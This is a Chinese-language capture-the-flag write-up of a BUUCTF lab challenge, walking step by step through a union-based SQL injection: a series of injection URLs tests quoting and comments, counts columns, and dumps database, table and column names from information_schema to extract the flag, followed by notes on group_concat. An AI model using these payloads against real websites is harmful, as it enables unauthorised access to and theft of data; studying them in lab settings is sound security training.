Buuctf刷題————N1BOOK——sql注入1
一、思路

1.URL後面的id=1,2,3;會出現不同的界面,但是,但我們輸入4時,發現沒有回顯
2.推測有有三列,還是老方法,
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’
沒有回顯,當我們使用#注釋’的時候,發現沒有回顯
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’#
那就是編碼的問題,使用%23進行注釋
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%23
發現單引号被注釋
3.測試and,or是否被過濾
and沒有被過濾
or也沒被過濾,使用萬能密碼可以注入,但是沒什麼用
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20or%20%271%27=%271%23
剛才推測的三列,得到驗證
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3%23
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3,4%23
4.找顯位點,有個細節問題就是,經過我多次測試,原來id後面的數字,除了正常回顯的1,2,3這三個數字之外的字母或數字就可以找到,顯位點,使用的是堆疊(union 注入)
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=a%27%20union%20select%201,2,3%23
(union注入)參考連結:
https://blog.csdn.net/Candyys/article/details/105542662
找到顯位點是2或3,直接爆庫成功,庫名為:note
5.爆表,出了點小問題,2這個顯位點,報表不可以,隻能選擇3這個位置了
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’note’%23
表名:fl4g,notes
6.我們要的是flag,是以就選用fl4g這個表,爆字段的時候到了,嘻嘻
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’%23
字段名為:fllllag
7.知道字段名,爆資料走一波,
http://3387232d-9307-48df-8866-25d7a7282c21.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(fllllag) from fl4g%23
8.成功得到flag,哈哈哈,超級開心
n1book{union_select_is_so_cool}
二、知識點:
1.Sql中group_concat用法
基本用法:group_concat([DISTINCT]要連接配接的字段[order by ASC/DESC 排序字段][separator ’分隔符’])
常常用于關聯查詢,并且表資料對應的關系為一對多,将結果傳回一條資料
2.MySQL中的information_schema資料庫
參考連結:https://blog.csdn.net/u014639561/article/details/51579161
information_schema 資料庫跟 performance_schema 一樣,都是 MySQL 自帶的資訊資料庫。其中 performance_schema 用于性能分析,而 information_schema 用于存儲資料庫中繼資料(關于資料的資料),例如資料庫名、表名、列的資料類型、通路權限等。
schemata表:展示目前mysql執行個體中所有資料庫的資訊。
TABLES表:
存儲資料庫中的表資訊(包括視圖),包括表屬于哪個資料庫,表的類型、存儲引擎、建立時間等資訊。
COLUMNS表:
存儲表中的列資訊,包括表有多少列,每一個列的類型等。
三、總結
通過這道題,理了一下SQL注入的思路。并且學習了一些SQL的基礎知識,group_concat()函數的作用,還有information_schema表的運用。
參考連結:https://www.cnblogs.com/darkerg/p/14781191.html